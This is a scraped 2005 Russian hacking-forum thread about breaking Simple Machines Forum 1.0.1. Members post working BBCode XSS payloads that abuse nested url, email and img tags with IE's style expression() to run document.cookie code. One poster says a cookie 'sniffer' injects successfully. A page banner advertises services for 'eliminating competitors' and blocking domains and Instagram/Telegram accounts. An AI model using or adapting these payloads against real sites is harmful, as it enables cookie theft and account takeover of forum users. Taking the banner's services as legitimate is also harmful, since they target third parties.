SMF 1.0.1. (Simple Machines Forum)

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SMF 1.0.1. (Simple Machines Forum)

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

SMF 1.0.1. (Simple Machines Forum)

02.04.2005, 18:59

FST

Новичок

Регистрация: 05.02.2005

Сообщений: 4

Провел на форуме:
0

Репутация: 0

SMF 1.0.1. (Simple Machines Forum)

Ломаю голову уже какой день и никак дыру найти не могу

Может кто-то уже сталкивался? Вот пример форума. Этот форум ломать не обязательно

02.04.2005, 19:17

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

Дай мне линк на исходники

02.04.2005, 19:23

fahrenheit

Новичок

Регистрация: 20.03.2005

Сообщений: 12

Провел на форуме:
0

Репутация: 1

http://www.simplemachines.org/downlo...-3_install.zip

02.04.2005, 19:26

fahrenheit

Новичок

Регистрация: 20.03.2005

Сообщений: 12

Провел на форуме:
0

Репутация: 1

Чего то и мне ломаку стало интересно поискать уязвимость )
Это же какое счатье потом если найдеш))

02.04.2005, 19:58

Algol

Регистрация: 29.05.2002

Сообщений: 1,793

Провел на форуме:
2050916

Репутация: 0

Спаренные теги в правильном исполнении:

Код HTML:

[img]http://s.d[email]sa@sa/style=background:url(javascript:alert());[/img][/email]

02.04.2005, 19:55

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

Мда... ну и форум.
В первыем минуты мне показалось что он сверх-защищеный. (по обилию тегов)

Через 2 минуты я уже выделил две самых простых XSS. Их хватит. Если нет - берите ещё. Я сделаю видео.

Код:

[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

ВНИМАНИЕ! Чтобы НАШ ФОРУМ не парсил (не зависимо от тега [СODE]) мой код, я НАМЕРЕННО написал URL через Л. И емейл тоже так написал.
ПЕРЕПИШИТЕ САМИ!

02.04.2005, 20:01

Algol

Регистрация: 29.05.2002

Сообщений: 1,793

Провел на форуме:
2050916

Репутация: 0

Цитата:

Через 2 минуты я уже выделил две самых простых XSS.

Кстати, ты зря везде пихаешь знак `.
Ведь он прокатывает только в IE.
Если можно обойтись без него, то лучше его не использовать.

Последний раз редактировалось KEZ; 02.04.2005 в 20:48.. Причина: quote неправильно написал

02.04.2005, 22:59

FST

Новичок

Регистрация: 05.02.2005

Сообщений: 4

Провел на форуме:
0

Репутация: 0

Цитата:

Сообщение от KEZ

Код:

[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

Во, да ты дайшь басу

Буду ждать ролик! Респект. Я день потратил и ничего не нашёл

Ссылочку на видео не забудь оставить

06.04.2005, 15:17

FST

Новичок

Регистрация: 05.02.2005

Сообщений: 4

Провел на форуме:
0

Репутация: 0

Гррр, что-то я видео ролика обещенного не вижу !

#10

02.04.2005, 20:47

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

Ну... это как сказать.
У меня все правильно. И снифер вставляется. Я проверял.
Расчитано на то что Ie. Сейчас большинство его используют
Так что нельзя назвать мое исполнение неправильным

Последний раз редактировалось KEZ; 02.04.2005 в 20:50..

Страница 1 из 2

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules